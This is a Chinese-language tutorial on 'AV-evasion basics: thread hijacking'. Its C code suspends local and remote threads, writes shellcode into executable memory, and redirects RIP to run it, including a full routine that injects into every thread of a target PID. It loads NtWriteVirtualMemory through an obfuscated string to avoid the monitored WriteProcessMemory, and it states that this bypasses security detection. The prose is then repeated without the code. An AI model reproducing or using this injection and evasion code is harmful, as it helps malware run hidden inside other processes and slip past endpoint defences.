免杀基础-线程劫持
字数 811 2025-08-22 12:23:18

线程劫持(Thread Hijacking)技术详解

1. 线程劫持概述

线程劫持(Thread Hijacking)是指攻击者通过某种方式劫持线程的执行流从而执行shellcode的技术。其核心思想是利用暂停目标线程、修改上下文来控制其执行流。

2. 线程上下文基础

线程上下文指的是一个线程在执行时所需的所有信息集合,包括线程的寄存器和堆栈。

关键API:

  • GetThreadContext - 获取线程上下文
  • SetThreadContext - 修改线程上下文

ContextFlags参数:

  • 只需要获取寄存器时使用CONTEXT_CONTROL
  • 获取全部上下文使用CONTEXT_ALL

3. 基本线程劫持流程

  1. 创建挂起线程
  2. 获取线程上下文
  3. 修改IP寄存器(RIP)
  4. 恢复线程执行

3.1 创建挂起线程示例

void test(){
    MessageBox(0, 0, 0, 0);
}

HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&test, NULL, CREATE_SUSPENDED, NULL);

3.2 修改上下文并恢复线程

CONTEXT context;
DWORD dwOldProtection = NULL;
context.ContextFlags = CONTEXT_ALL;

// 分配内存
LPVOID lpMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpMem, shellcode, length);
VirtualProtect(lpMem, length, PAGE_EXECUTE_READWRITE, &dwOldProtection);

// 获取上下文并修改RIP
GetThreadContext(hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(hThread, &context);

// 恢复线程
ResumeThread(hThread);

注意:使用calc的shellcode时,主线程执行完会退出,可以使用WaitForSingleObject阻塞主线程。

4. 劫持现有线程

4.1 枚举系统线程

使用CreateToolhelp32Snapshot进行线程枚举:

HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
THREADENTRY32 te32 = {sizeof(THREADENTRY32)};

if(Thread32First(hSnapShot, &te32)){
    do{
        wprintf(L"TID: %lu\n", te32.th32ThreadID);
    } while(Thread32Next(hSnapShot, &te32));
}

4.2 劫持指定进程的线程

通过比对te32.th32OwnerProcessID与指定进程PID来筛选线程:

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, false, te32.th32ThreadID);
SuspendThread(hThread);

LPVOID lpMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpMem, shellcode, length);
VirtualProtect(lpMem, length, PAGE_EXECUTE_READWRITE, &dwOldProtection);

GetThreadContext(hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(hThread, &context);

ResumeThread(hThread);
WaitForSingleObject(hThread, -1);

5. 远程线程劫持

5.1 创建挂起进程

STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

5.2 注入到远程进程

使用VirtualAllocExNtWriteVirtualMemory进行注入(避免使用敏感的WriteProcessMemory):

typedef NTSTATUS(NTAPI *pNtWriteVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    IN PVOID Buffer,
    IN ULONG NumberOfBytesToWrite,
    OUT PULONG NumberOfBytesWritten OPTIONAL);

char str1[] = {'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);

LPVOID lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

5.3 修改上下文并恢复执行

GetThreadContext(pi.hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);

6. 远程线程枚举与劫持

完整远程线程枚举与劫持函数示例:

void remoteEnum(DWORD targetPid){
    char str1[] = {'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);
    
    CONTEXT context;
    context.ContextFlags = CONTEXT_ALL;
    DWORD dwOldProtection;
    
    if(Thread32First(hSnapShot, &te32)){
        do{
            if(te32.th32OwnerProcessID == targetPid){
                HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, false, te32.th32ThreadID);
                if(hThread != NULL){
                    LPVOID lpMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                    NtWriteVirtualMemory(hProcess, lpMem, shellcode, sizeof(shellcode), NULL);
                    VirtualProtectEx(hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
                    
                    SuspendThread(hThread);
                    GetThreadContext(hThread, &context);
                    context.Rip = (DWORD64)lpMem;
                    SetThreadContext(hThread, &context);
                    ResumeThread(hThread);
                    WaitForSingleObject(hThread, -1);
                }
            }
        } while(Thread32Next(hSnapShot, &te32));
    }
}

7. 注意事项

  1. 劫持不一定是主线程,执行可能需要一些时间
  2. 劫持的线程可能不会持续运行
  3. 使用NtWriteVirtualMemory等替代API可以绕过一些安全检测
  4. 主线程不能被劫持(因为无法挂起)
线程劫持(Thread Hijacking)技术详解 1. 线程劫持概述 线程劫持(Thread Hijacking)是指攻击者通过某种方式劫持线程的执行流从而执行shellcode的技术。其核心思想是利用暂停目标线程、修改上下文来控制其执行流。 2. 线程上下文基础 线程上下文指的是一个线程在执行时所需的所有信息集合,包括线程的寄存器和堆栈。 关键API: GetThreadContext - 获取线程上下文 SetThreadContext - 修改线程上下文 ContextFlags参数: 只需要获取寄存器时使用 CONTEXT_CONTROL 获取全部上下文使用 CONTEXT_ALL 3. 基本线程劫持流程 创建挂起线程 获取线程上下文 修改IP寄存器(RIP) 恢复线程执行 3.1 创建挂起线程示例 3.2 修改上下文并恢复线程 注意:使用calc的shellcode时,主线程执行完会退出,可以使用 WaitForSingleObject 阻塞主线程。 4. 劫持现有线程 4.1 枚举系统线程 使用 CreateToolhelp32Snapshot 进行线程枚举: 4.2 劫持指定进程的线程 通过比对 te32.th32OwnerProcessID 与指定进程PID来筛选线程: 5. 远程线程劫持 5.1 创建挂起进程 5.2 注入到远程进程 使用 VirtualAllocEx 和 NtWriteVirtualMemory 进行注入(避免使用敏感的 WriteProcessMemory ): 5.3 修改上下文并恢复执行 6. 远程线程枚举与劫持 完整远程线程枚举与劫持函数示例: 7. 注意事项 劫持不一定是主线程,执行可能需要一些时间 劫持的线程可能不会持续运行 使用 NtWriteVirtualMemory 等替代API可以绕过一些安全检测 主线程不能被劫持(因为无法挂起)